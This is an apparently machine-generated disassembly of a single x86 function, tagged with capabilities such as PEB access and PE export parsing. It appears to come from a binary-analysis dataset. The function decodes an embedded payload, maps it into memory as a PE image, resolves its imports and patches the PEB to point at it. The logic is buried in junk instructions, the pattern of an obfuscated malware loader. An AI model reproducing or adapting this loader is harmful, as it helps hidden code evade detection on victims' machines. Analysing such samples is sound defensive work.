Function at 0x401460
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process heap flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x24b24
call fcn.00404270
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x24a10]
lea eax, [0x4123b8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x24a00
call fcn.00404de0
sub edi, 0x8c
neg eax
bswap eax
imul ebx
imul edx
inc edi
dec eax
and edx, 0x67
imul esi
sbb esi, 0x40
inc edx
and edx, 0xb9
imul ebx
dec esi
rcr edx, 0xb7
imul esi
mov edi, 0xce
imul ebx
neg esi
add edx, 0x77
bswap ebx
add esi, 0x5d
mov edi, 0xb9
bswap ebx
dec edi
add ebx, 0xff
add edi, 0x7d
sub eax, 0x11
add ebx, 0xd7
rcr esi, 3
imul edi
imul edx
inc eax
ror edi, 0x78
dec esi
dec edi
and edx, 0xdf
sub edi, 0x79
dec eax
and esi, 0x99
add eax, 0xcf
rcr edx, 0xb0
rcr ebx, 0xa1
bswap edi
and eax, 0xd
inc edx
bswap edx
neg esi
or esi, 0xb4
mov ebx, 0x4e
dec edx
rcl eax, 0x5d
add edx, 0x87
rol edx, 0xd0
imul edi
ror edi, 0xb5
and ebx, 0xd1
sub edi, 0x43
ror ebx, 0x5c
mov edx, 0x77
ror ebx, 0x10
inc edx
inc ebx
imul ebx
ror ebx, 0x40
mov eax, 0x7a
sbb edx, 0xd1
inc esi
neg edx
sbb edi, 0xfe
not ebx
dec edx
rcl edx, 0x68
add edi, 0xb3
bswap esi
rcr edi, 0x9e
and edi, 9
inc esi
add eax, 0xf5
mov eax, 0x21
inc ebx
or edx, 0xb
mov edx, 0x10
or eax, 0xaf
or edx, 0x9b
inc edx
neg ebx
neg esi
or eax, 0x7f
neg edx
rcr esi, 0xe4
ror ebx, 0x5c
mov ebx, 0x3d
and eax, 0xc3
sub eax, 0x59
neg eax
not edi
dec ebx
or edx, 0xa3
inc esi
rcl eax, 0x40
inc edx
imul ebx
inc eax
inc esi
dec eax
rol eax, 0xd8
sbb ebx, 0x53
neg edx
and edi, 0xed
imul ebx
imul esi
ror edi, 0x6e
add edx, 0xfd
neg edx
neg eax
bswap edx
bswap esi
rol edi, 0xdf
not edx
inc eax
neg eax
not esi
bswap eax
rcl esi, 9
rcl edi, 0xe5
rcl edi, 0xa5
imul esi
dec edi
rcr eax, 0x57
not eax
or edi, 0x46
inc edi
dec edx
rcl edi, 0xfd
dec esi
imul eax
inc esi
sbb eax, 5
add ebx, 0xfc
sub ebx, 0x57
and eax, 0x20
imul ebx
neg edx
inc esi
ror edi, 0x32
inc esi
inc edx
bswap ebx
inc edi
bswap ebx
imul eax
imul edi
dec eax
bswap edi
and ebx, 0x90
not esi
ror eax, 0x2d
add edi, 0xe1
sub edi, 0x8a
inc esi
neg eax
bswap edi
neg edx
dec eax
sbb edx, 0x96
bswap edi
inc edx
dec edx
dec edi
or edi, 0x17
imul esi
sbb ebx, 0x7e
add edx, 0xe2
sbb ebx, 0x5d
rcr ebx, 0xec
rcl edx, 0xb9
dec esi
rol eax, 0xbc
neg esi
rol eax, 0xe3
bswap esi
and edx, 0xd9
sbb edx, 0xf6
imul ebx
imul ebx
rcr eax, 0xe8
sub edi, 2
inc edx
sub edx, 0x5d
neg esi
not edx
rcr ebx, 0x4e
not esi
imul eax
imul ebx
bswap edi
inc edx
rcl edx, 0x8a
or esi, 0xad
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24a10]
mov dword [esp], eax
mov dword [esp + 4], 0x24a00
call fcn.00401000
lea eax, [ebp - 0x24a10]
mov dword [ebp + 8], eax
rcl ebx, 0x27
mov edi, 0x46
neg edi
inc edx
rcr edi, 0x19
neg edi
or edx, 0x8c
ror eax, 3
inc edx
dec esi
rcl eax, 0xff
bswap eax
inc eax
bswap esi
ror eax, 0xc9
dec edx
sub edi, 0xc4
bswap esi
mov esi, 0x72
add edx, 0x21
sub edi, 0xc4
not edx
not ebx
inc edx
rcr eax, 0x5d
bswap edi
not edx
sub eax, 0xd2
imul edx
imul edi
bswap eax
mov eax, 4
bswap eax
neg edx
inc esi
or ebx, 0xc5
imul edx
mov eax, 0x64
neg ebx
sub eax, 0xb
imul eax
not eax
dec edx
not ebx
imul eax
neg esi
mov ebx, 9
sub esi, 0x15
rol esi, 0xa5
not ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24a14], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x24a14]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x24a18], eax
mov eax, dword [ebp - 0x24a18]
cmp dword [eax], 0x4550
je 0x40179e
mov dword [ebp - 0x10], 1
jmp 0x402cbe
mov eax, dword [ebp - 0x24a18]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x24a20], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x24a1c], eax
mov eax, dword [ebp - 0x24a18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x24b14], eax
cmp dword [ebp - 0x24a1c], 0
je 0x4017e5
xor eax, eax
mov dword [ebp - 0x24b18], eax
jmp 0x4017f4
mov eax, dword [ebp - 0x24a18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x24b18], eax
mov eax, dword [ebp - 0x24b14]
mov ecx, dword [ebp - 0x24b18]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x24a24], eax
cmp dword [ebp - 0x24a1c], 0
jne 0x401854
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a18]
cmp eax, dword [ecx + 0x34]
je 0x401854
mov dword [ebp - 0x10], 2
jmp 0x402cbe
not edx
not eax
bswap edx
rcr esi, 0x4d
imul ebx
imul esi
inc esi
inc edx
inc eax
rcr eax, 0x19
sbb ebx, 0
rol edi, 0x55
mov esi, 0x90
rcr esi, 0xc
ror eax, 0x5f
sub edx, 0x46
add esi, 0xec
sbb edx, 0x51
neg edx
inc esi
bswap ebx
inc edi
dec edi
add esi, 0xe3
dec ebx
dec ebx
bswap edx
add edi, 0xea
add edx, 0x12
neg edi
ror eax, 0xc8
or esi, 0x49
inc eax
rcl edx, 0x63
dec ebx
inc esi
bswap ebx
ror esi, 0xaf
or eax, 0x43
and esi, 0x6a
not ebx
rcl ebx, 0xfb
ror edi, 0x2c
sbb edx, 0xd1
inc edi
rcr edi, 0xa2
and edx, 0xb3
rol esi, 0x36
mov edx, 0x1c
rcr esi, 0xe9
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x24a24]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00401430
dec eax
sbb ebx, 0x86
or edx, 0x90
neg eax
imul edi
not eax
or edi, 0xe5
imul esi
rol edx, 0x47
ror edi, 0xcb
and ebx, 0xbe
and edx, 9
ror ebx, 0xb9
sbb edi, 0x1a
sub ebx, 6
rcl esi, 0x62
dec edi
mov edi, 0x51
sbb edx, 0x75
and esi, 0xce
rcl ebx, 0xb9
ror ebx, 0xca
bswap edi
and edi, 0x8b
imul ebx
sub edi, 0x9e
or edi, 0x90
rol edi, 0x21
neg eax
bswap eax
or esi, 0x14
rol esi, 0x56
ror esi, 5
imul esi
inc edi
ror eax, 0xf3
bswap esi
imul ebx
imul ebx
imul edx
sub edx, 0x3f
inc ebx
rol eax, 0x9d
sbb edx, 0x22
or eax, 0xbe
neg ebx
mov ebx, 0xe8
rcr eax, 0x2e
imul ebx
bswap eax
neg edi
mov edx, 0xc1
imul edi
neg eax
rcr eax, 0x22
or edi, 0xb7
bswap edx
sbb edx, 0xb2
imul esi
not eax
or edx, 0xe8
and eax, 0x78
mov edi, 0x1f
rcl edi, 0x17
bswap edi
rol edx, 0x12
neg edx
dec eax
rcr edx, 0x7a
imul edi
mov edx, 0x31
mov ebx, 0x6a
dec edi
mov eax, 0x95
bswap ebx
mov edi, 0xf5
inc edi
dec edi
add esi, 0x43
sbb esi, 0x6b
add eax, 0xb7
imul eax
and ebx, 0x89
add edi, 0x8d
inc eax
neg ebx
inc eax
dec esi
dec eax
ror esi, 0x6e
not edi
mov eax, 0xe7
or esi, 0xb
imul ebx
sbb edx, 0x27
dec edx
imul edx
or esi, 0xc1
sub edx, 0x3c
bswap ebx
bswap edx
bswap esi
rol edx, 0x66
and edi, 0xc0
mov esi, 0xc6
not edx
rol esi, 0x87
and ebx, 0x1f
add ebx, 0xb8
or edi, 0xce
dec ebx
bswap edi
or esi, 0x99
not esi
sub eax, 0x20
rol esi, 0xd9
mov edi, 0x1e
ror esi, 0x9a
neg edx
bswap edx
rcl eax, 0x50
rcr ebx, 0xc7
dec edx
imul edi
or esi, 0xc0
rol edi, 0x43
neg edi
bswap eax
ror edx, 5
sbb eax, 0x55
not eax
not edx
or esi, 0xe8
inc ebx
mov esi, 0xb1
bswap edx
imul esi
inc edx
neg eax
or edx, 0x79
ror esi, 0x56
imul eax
dec edx
rcl esi, 0xb9
add edi, 0xc3
rcr edi, 0xe8
imul edi
and edi, 0x72
neg eax
ror eax, 0x24
rol esi, 0x7f
not ebx
add ebx, 0x28
dec edx
bswap eax
add eax, 0xf7
rol eax, 0x99
sbb eax, 0xd0
dec esi
imul esi
sub eax, 0x92
neg ebx
bswap ebx
imul eax
mov esi, 0xd4
and edx, 0xb1
imul eax
neg edx
not eax
rol eax, 0xf6
bswap edi
dec esi
dec esi
and edi, 0xac
mov eax, 0xe6
rcl edx, 0xb7
ror edx, 0xa4
not edi
rol ebx, 0x7d
imul esi
not edx
sub ebx, 0x84
ror esi, 3
rcr edi, 0x5e
sbb eax, 0xd6
neg edx
imul esi
or ebx, 0x37
rol ebx, 0x4c
not edx
neg edx
add ebx, 0xae
rcr edx, 0xf9
bswap edx
ror ebx, 0xc6
and eax, 0xde
or edi, 0x45
imul ebx
inc eax
neg eax
imul eax
ror ebx, 0xce
mov eax, 0xc0
not esi
and edi, 0xcc
ror edi, 0xd5
imul edi
inc edi
dec ebx
rcl edx, 0xd1
or edx, 0x79
neg ebx
mov edx, 0xed
inc eax
not eax
add eax, 0x60
add edx, 0xcf
dec esi
add edx, 0x1e
bswap esi
and eax, 0x2a
rcr esi, 0x99
mov ebx, 0x6f
or esi, 0x44
imul edi
bswap ebx
ror eax, 0x9d
not eax
not edx
mov ebx, 0xe3
imul esi
neg esi
mov edx, 0x66
rcl edx, 0xd0
neg eax
mov eax, 0xe4
neg eax
sub edi, 0xe7
rcr ebx, 0x9c
dec ebx
dec ebx
sbb edx, 0xd3
inc edi
sub edi, 0x82
inc edx
dec esi
sbb ebx, 0xe9
imul eax
neg esi
sub edx, 0x27
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24a18]
add eax, 0x18
mov ecx, dword [ebp - 0x24a18]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x24a28], eax
mov dword [ebp - 0x24a2c], 0
mov eax, dword [ebp - 0x24a2c]
mov ecx, dword [ebp - 0x24a18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x401c88
mov eax, dword [ebp - 0x24a28]
imul ecx, dword [ebp - 0x24a2c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x24a28]
imul esi, dword [ebp - 0x24a2c], 0x28
add edx, esi
add ecx, dword [edx + 0x14]
mov edx, dword [ebp - 0x24a24]
mov esi, dword [ebp - 0x24a28]
imul edi, dword [ebp - 0x24a2c], 0x28
add esi, edi
add edx, dword [esi + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401430
mov eax, dword [ebp - 0x24a2c]
add eax, 1
mov dword [ebp - 0x24a2c], eax
jmp 0x401c0d
ror eax, 0xd7
bswap esi
sub esi, 0x5e
not esi
ror edi, 0x3b
dec ebx
ror edx, 0xc0
not edx
and eax, 0x61
rol ebx, 0xb1
inc edx
not ebx
neg edx
rcl edx, 0x58
dec esi
not ebx
rcl eax, 0xb8
inc edi
sbb edi, 0x54
bswap esi
inc esi
rcl edi, 0xa8
rol edx, 1
neg esi
neg ebx
bswap esi
neg edi
neg esi
rcr esi, 0x71
add eax, 0x95
rcr esi, 0xe
inc eax
sub eax, 0x54
not edx
bswap eax
sbb eax, 0x60
ror edi, 0xa1
or edi, 0xff
dec ebx
inc eax
mov edx, 0x52
rol eax, 0x6a
rol edx, 0xb9
sbb edx, 0x97
rcr esi, 0xe
not ebx
and ebx, 0x62
dec ebx
rol eax, 0x99
not edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a18]
cmp eax, dword [ecx + 0x34]
je 0x401e3a
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a18]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x24a30], eax
mov eax, dword [ebp - 0x24a24]
add eax, dword [ebp - 0x24a20]
mov dword [ebp - 0x24a34], eax
mov dword [ebp - 0x24a38], 0
mov eax, dword [ebp - 0x24a38]
cmp eax, dword [ebp - 0x24a1c]
jae 0x401e35
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a34]
add eax, dword [ecx]
mov dword [ebp - 0x24a3c], eax
mov eax, dword [ebp - 0x24a34]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x24a40], eax
mov eax, dword [ebp - 0x24a34]
add eax, 8
mov dword [ebp - 0x24a44], eax
mov dword [ebp - 0x24a48], 0
mov eax, dword [ebp - 0x24a48]
cmp eax, dword [ebp - 0x24a40]
jge 0x401e0f
mov eax, dword [ebp - 0x24a44]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x401dec
mov ecx, dword [ebp - 0x24a30]
mov eax, dword [ebp - 0x24a3c]
mov edx, dword [ebp - 0x24a44]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24a44]
add eax, 2
mov dword [ebp - 0x24a44], eax
mov eax, dword [ebp - 0x24a48]
add eax, 1
mov dword [ebp - 0x24a48], eax
jmp 0x401da1
mov eax, dword [ebp - 0x24a34]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x24a38]
mov dword [ebp - 0x24a38], eax
mov eax, dword [ebp - 0x24a44]
mov dword [ebp - 0x24a34], eax
jmp 0x401d4e
jmp 0x401e3a
neg esi
dec ebx
or edx, 0xaa
rcr edi, 0x68
neg esi
add edx, 0xba
rcr esi, 0xdf
rcl esi, 0xa2
not eax
bswap edx
imul edi
add eax, 0x7a
dec edx
inc edx
dec edi
inc edi
rcr edx, 6
sbb edx, 0x60
bswap edx
imul esi
rcr eax, 5
bswap esi
neg eax
and esi, 0xa9
not esi
imul esi
mov edi, 0x56
bswap edx
neg eax
or eax, 0xa5
or edi, 0x43
neg eax
or edx, 0xc7
inc eax
neg esi
imul esi
add esi, 0x31
ror eax, 0xa7
rcr ebx, 0xa9
or esi, 0xec
rcl esi, 1
sbb edi, 0x1d
rcr ebx, 0xe8
and ebx, 0xe6
rol ebx, 0x14
bswap ebx
rcr edx, 0xb8
dec ebx
bswap esi
rcr eax, 0xb8
add edx, 0x2a
sub eax, 0xe9
and edi, 0x33
dec edi
add edx, 0x6f
rcl ebx, 0xcf
dec edx
rcr edx, 0x6e
sub edx, 0xa6
imul edi
rcl eax, 0xf
rcl eax, 0xe6
imul esi
rol ebx, 0x28
ror esi, 0xd
sub esi, 0xec
sub esi, 0xb9
rcr esi, 0x6e
mov edi, 0xb9
ror edi, 0xdb
ror edx, 0xd5
bswap edi
add ebx, 0x68
not edx
sub esi, 0x25
not edx
imul ebx
rol edi, 0x5b
imul ebx
rcr edx, 5
rcr eax, 0x4f
ror ebx, 0x58
mov ebx, 0x37
not edi
inc ebx
rcr edi, 0x99
not edx
not esi
sbb ebx, 0x6e
sbb eax, 0x1c
imul esi
inc esi
and esi, 0xe7
rol edi, 0xb1
and ebx, 0xe3
rol eax, 0xe5
dec esi
sub ebx, 0xf4
add esi, 0xe4
and eax, 0xfb
neg edx
ror ebx, 0x40
dec edi
imul eax
rcl esi, 0xf4
neg esi
not ebx
neg edi
ror esi, 0xd
not esi
ror eax, 0xe5
bswap edi
ror esi, 0x70
mov ebx, 0x9b
rol eax, 0xf5
and ebx, 0xf7
bswap ebx
bswap eax
dec esi
inc eax
not eax
inc esi
add ebx, 0xf9
ror eax, 0xd4
add ebx, 0x86
bswap edx
dec esi
mov eax, 0x3c
and edi, 0x9b
neg ebx
rol edx, 0x84
dec eax
or eax, 0xbf
sub edx, 0xe2
or ebx, 0x39
sub edi, 0x5f
sbb esi, 0x90
neg esi
neg eax
dec eax
rol ebx, 0x82
add ebx, 0x68
imul eax
dec ebx
sbb edi, 0x70
imul edx
dec eax
sub ebx, 0xd
imul edx
inc edi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a18]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x24a4c], eax
mov dword [ebp - 0x24a50], 0
mov eax, dword [ebp - 0x24a4c]
imul ecx, dword [ebp - 0x24a50], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x402183
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a4c]
imul edx, dword [ebp - 0x24a50], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x24a54], eax
mov eax, dword [ebp - 0x24a54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x24a58], eax
cmp dword [ebp - 0x24a58], 0
jne 0x402072
jmp 0x40216f
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a4c]
imul edx, dword [ebp - 0x24a50], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x24a5c], eax
mov dword [ebp - 0x24a60], 0
mov eax, dword [ebp - 0x24a5c]
mov ecx, dword [ebp - 0x24a60]
cmp dword [eax + ecx*4], 0
je 0x40216a
mov eax, dword [ebp - 0x24a24]
mov ecx, dword [ebp - 0x24a5c]
mov edx, dword [ebp - 0x24a60]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x24a64], eax
mov eax, dword [ebp - 0x24a5c]
mov ecx, dword [ebp - 0x24a60]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x24a58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x24a68], eax
cmp dword [ebp - 0x24a68], 0
jne 0x40212b
mov eax, dword [ebp - 0x24a64]
add eax, 2
mov ecx, dword [ebp - 0x24a58]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x24a68], eax
mov ecx, dword [ebp - 0x24a68]
mov eax, dword [ebp - 0x24a24]
mov edx, dword [ebp - 0x24a4c]
imul esi, dword [ebp - 0x24a50], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x24a60]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x24a60]
add eax, 1
mov dword [ebp - 0x24a60], eax
jmp 0x40209a
jmp 0x40216f
mov eax, dword [ebp - 0x24a50]
add eax, 1
mov dword [ebp - 0x24a50], eax
jmp 0x402011
mov dword [ebp - 0x24a70], 0
mov eax, dword [ebp - 0x24a70]
mov ecx, dword [ebp - 0x24a18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x40230f
mov dword [ebp - 0x24a74], 0x40
mov eax, dword [ebp - 0x24a28]
imul ecx, dword [ebp - 0x24a70], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x24a78], eax
mov eax, dword [ebp - 0x24a78]
and eax, 0x40000000
cmp eax, 0
je 0x402212
mov eax, dword [ebp - 0x24a78]
and eax, 0x80000000
cmp eax, 0
je 0x402212
mov eax, dword [ebp - 0x24a78]
and eax, 0x20000000
cmp eax, 0
je 0x402212
mov dword [ebp - 0x24a74], 0x40
jmp 0x4022ad
mov eax, dword [ebp - 0x24a78]
and eax, 0x40000000
cmp eax, 0
je 0x402249
mov eax, dword [ebp - 0x24a78]
and eax, 0x80000000
cmp eax, 0
je 0x402249
mov dword [ebp - 0x24a74], 4
jmp 0x4022a8
mov eax, dword [ebp - 0x24a78]
and eax, 0x40000000
cmp eax, 0
je 0x402280
mov eax, dword [ebp - 0x24a78]
and eax, 0x20000000
cmp eax, 0
je 0x402280
mov dword [ebp - 0x24a74], 0x20
jmp 0x4022a3
mov eax, dword [ebp - 0x24a78]
and eax, 0x40000000
cmp eax, 0
je 0x40229e
mov dword [ebp - 0x24a74], 2
jmp 0x4022a3
jmp 0x4022a8
jmp 0x4022ad
mov ecx, dword [ebp - 0x24a74]
mov eax, dword [ebp - 0x24a28]
imul edx, dword [ebp - 0x24a70], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x24a24]
mov eax, dword [ebp - 0x24a28]
imul edi, dword [ebp - 0x24a70], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x24a6c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x24a70]
add eax, 1
mov dword [ebp - 0x24a70], eax
jmp 0x40218d
or eax, 0xcd
add esi, 0x78
ror edx, 0x75
rol edx, 0x50
imul esi
rcl eax, 0x28
or eax, 0x36
bswap edi
imul edx
bswap esi
inc ebx
inc edi
imul edi
ror ebx, 0xcc
dec eax
rol esi, 0x22
sub ebx, 0xf9
ror eax, 0x4a
ror esi, 0xf
dec edi
ror edi, 5
or eax, 0xad
mov edi, 0x16
bswap ebx
rcr edi, 0xd5
dec edi
neg edi
ror ebx, 0x8f
rcr edx, 0xd0
imul edx
dec edi
and edx, 0xf7
rol edi, 2
ror edx, 0x80
neg edi
rcr edx, 0xe2
imul edi
rcr edi, 0x9b
neg esi
neg edx
not edi
bswap eax
rcr edi, 0x85
rcr edx, 0x79
bswap edx
inc eax
inc esi
mov edi, 0xd1
not esi
rcl esi, 0xe8
sub edi, 0x1f
rcr edi, 0xad
rcr edi, 0xae
bswap eax
not edx
bswap ebx
mov edx, 0xbf
sub edi, 0xae
or esi, 0x9d
ror ebx, 0xc9
sbb edx, 0xd
add edx, 0x6d
ror eax, 0x3d
dec edx
neg eax
imul esi
or edi, 0x7c
rol esi, 9
inc edx
dec ebx
rcr edx, 0
dec ebx
imul ebx
not edx
neg esi
imul eax
add esi, 0xb3
mov edi, 0xc4
imul edi
imul esi
and edi, 0x9f
rol edi, 0x38
imul esi
rol edi, 0xf3
neg ebx
dec edx
imul esi
not eax
dec edx
neg esi
dec eax
sbb esi, 0xc8
sbb ebx, 0xc8
bswap ebx
neg edi
sbb edx, 0x61
ror edi, 0x30
not edi
add ebx, 0xdc
ror ebx, 0x41
and ebx, 0x67
mov edx, 0x4c
ror edi, 0x5f
add edx, 0xf1
inc edx
not edi
neg esi
rcl eax, 0x90
rol esi, 2
imul edx
mov edi, 0x33
not edx
imul esi
bswap edi
rcr eax, 0xd2
bswap esi
not edi
dec esi
sub eax, 0x3e
rol eax, 0x97
imul ebx
neg edx
or ebx, 0x26
sbb ebx, 0xdf
not esi
add edx, 0x97
dec ebx
not eax
rcr esi, 0x6c
rcl eax, 0x80
not ebx
not eax
rol eax, 0x70
not edx
neg edx
rcr esi, 0x14
mov edi, 0x20
inc eax
imul esi
add ebx, 0xe8
rcr eax, 0xbf
neg esi
imul edi
imul ebx
bswap ebx
ror edx, 0xe9
rcr esi, 0xae
neg ebx
sub eax, 0x21
bswap edx
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x24a7c], eax
mov eax, dword [ebp - 0x24a7c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24a80], eax
mov eax, dword [ebp - 0x24a80]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x24a84], eax
rcl esi, 0x9a
sub esi, 0x8e
ror edi, 0xb6
dec eax
imul edx
rcl ebx, 0x22
sub esi, 0xa8
sbb edi, 0x6f
rcr ebx, 0x4d
sub esi, 0x26
not ebx
mov edx, 0xaf
ror esi, 0xb2
imul edi
bswap ebx
and edi, 0x4c
not ebx
neg esi
not edx
sub edx, 0x51
and edx, 0x43
sub ebx, 0x51
imul edi
rcl esi, 0x47
sbb edi, 0x35
dec ebx
imul esi
dec edx
imul edi
inc ebx
add eax, 0xa1
rcr esi, 0x62
and edx, 0x81
ror ebx, 0xfe
not edi
sbb ebx, 0xa6
inc ebx
or eax, 0xc8
inc edi
and esi, 0xdb
and esi, 0xa8
or ebx, 0x37
inc ebx
rol edx, 0x35
sub edi, 0xce
imul edi
and esi, 0xf6
inc esi
bswap esi
not edi
neg ebx
ror edx, 5
dec edi
inc edi
neg edx
rol edx, 0x9e
bswap ebx
bswap esi
sbb eax, 0x38
imul eax
sub edi, 0x3e
bswap edx
dec esi
rol esi, 0x1a
sbb eax, 0x59
bswap esi
bswap edi
rcr eax, 0xcb
imul edx
add esi, 0x13
dec edx
sub edi, 0xaa
rcr edx, 0x2f
dec edi
rcr edi, 0xff
mov eax, 0x30
dec esi
rol ebx, 0x1b
not ebx
rcl eax, 0xef
bswap eax
add eax, 0xee
imul ebx
mov eax, 0x91
dec edx
and edi, 0x35
not eax
rol esi, 0x19
rcr edi, 0x45
ror esi, 0x13
or esi, 0xd5
ror edx, 0x8c
or edi, 0x3c
sub eax, 0x53
add eax, 0x9e
imul edi
bswap eax
imul edi
mov eax, 0x60
bswap esi
mov esi, 0x8e
inc ebx
rol esi, 0x4a
rcl edi, 0xfc
inc edx
dec esi
inc esi
rcr edx, 0xc4
ror edx, 0x95
ror edx, 0xf8
rcr edx, 0xfb
imul edx
dec ebx
bswap eax
rcl edx, 0x90
inc esi
rcl eax, 0xe3
bswap edx
mov esi, 0x93
rcr eax, 0xd1
dec edx
dec eax
inc eax
neg ebx
and esi, 0x68
not edi
inc edi
bswap ebx
imul ebx
not eax
not esi
add edx, 0x39
inc ebx
rcl ebx, 0xd3
dec edi
rcr edx, 0x28
ror edi, 0x72
sbb edi, 0x40
imul edi
and ebx, 0x65
bswap esi
or ebx, 0x4b
rcr ebx, 0x61
sub ebx, 0xc8
sub edi, 0xbd
inc edx
sub edi, 0xf4
rcr ebx, 0x20
rol eax, 0x9b
bswap edx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24a24]
mov eax, dword [ebp - 0x24a7c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x24a24]
mov eax, dword [ebp - 0x24a84]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x24a84]
add eax, 0x24
mov dword [ebp - 0x24a88], eax
inc edi
ror ebx, 0xce
sbb eax, 0x97
not esi
rcr eax, 0x5c
bswap ebx
imul esi
bswap eax
ror edi, 0xa
mov esi, 0xda
add ebx, 0x4c
neg edx
inc eax
rcr esi, 0x6b
imul edx
imul eax
dec edi
and ebx, 0x4d
dec esi
not esi
bswap esi
dec ebx
not edi
and edi, 0x5b
inc eax
dec eax
not eax
mov eax, 0xc
neg edi
neg eax
sbb ebx, 0xea
neg ebx
imul ebx
dec ebx
bswap ebx
add eax, 0xeb
sub esi, 0x1a
imul edi
sbb ebx, 0x18
bswap ebx
rcl esi, 0x5b
not ebx
ror edi, 0x72
inc edi
not esi
inc edx
neg esi
inc ebx
or edx, 0x9d
bswap edx
ror edx, 0xf7
dec edi
bswap eax
rol eax, 0x17
mov edi, 0x18
or esi, 0xc9
ror eax, 0xa5
not edx
dec edi
imul ebx
dec esi
dec esi
rcr esi, 0x91
rcl ebx, 0x8c
imul edx
neg eax
neg edx
imul edx
not edx
or eax, 0x50
neg ebx
rol edi, 0xfe
or edx, 0x82
sub ebx, 0x28
rcl edx, 0xa5
neg edi
or esi, 0x96
sub edx, 0xfa
imul esi
inc esi
not ebx
ror ebx, 5
rcr edi, 0xf
inc edi
add eax, 0x41
bswap edx
rcl edx, 0xcd
and esi, 0xc6
dec edi
inc edx
imul ebx
sub ebx, 0x94
inc esi
ror edi, 0x5a
ror edx, 0x71
mov ebx, 0x4d
mov ebx, 0xac
inc eax
dec esi
dec eax
mov ebx, 0xc8
dec esi
not esi
rcr edx, 0xb8
imul edi
not eax
imul edx
bswap ebx
or ebx, 0xd4
dec eax
dec ebx
add eax, 0x55
sub edi, 0xe6
neg esi
inc esi
sbb esi, 0xe
add edi, 0x19
imul eax
bswap ebx
not esi
bswap esi
imul edx
mov edx, 0x20
rol esi, 0x19
rol ebx, 0x98
or edx, 0x2b
bswap edi
bswap ebx
or eax, 0x5a
dec esi
rcl edx, 0xe5
dec ebx
inc ebx
add eax, 0xcd
sbb edx, 0xb3
add edx, 0x4c
imul eax
rcr edi, 0x5c
bswap esi
inc edx
bswap edi
sub edi, 0x25
dec ebx
bswap edx
dec edi
not esi
inc ebx
inc edx
not edi
mov ebx, 0x69
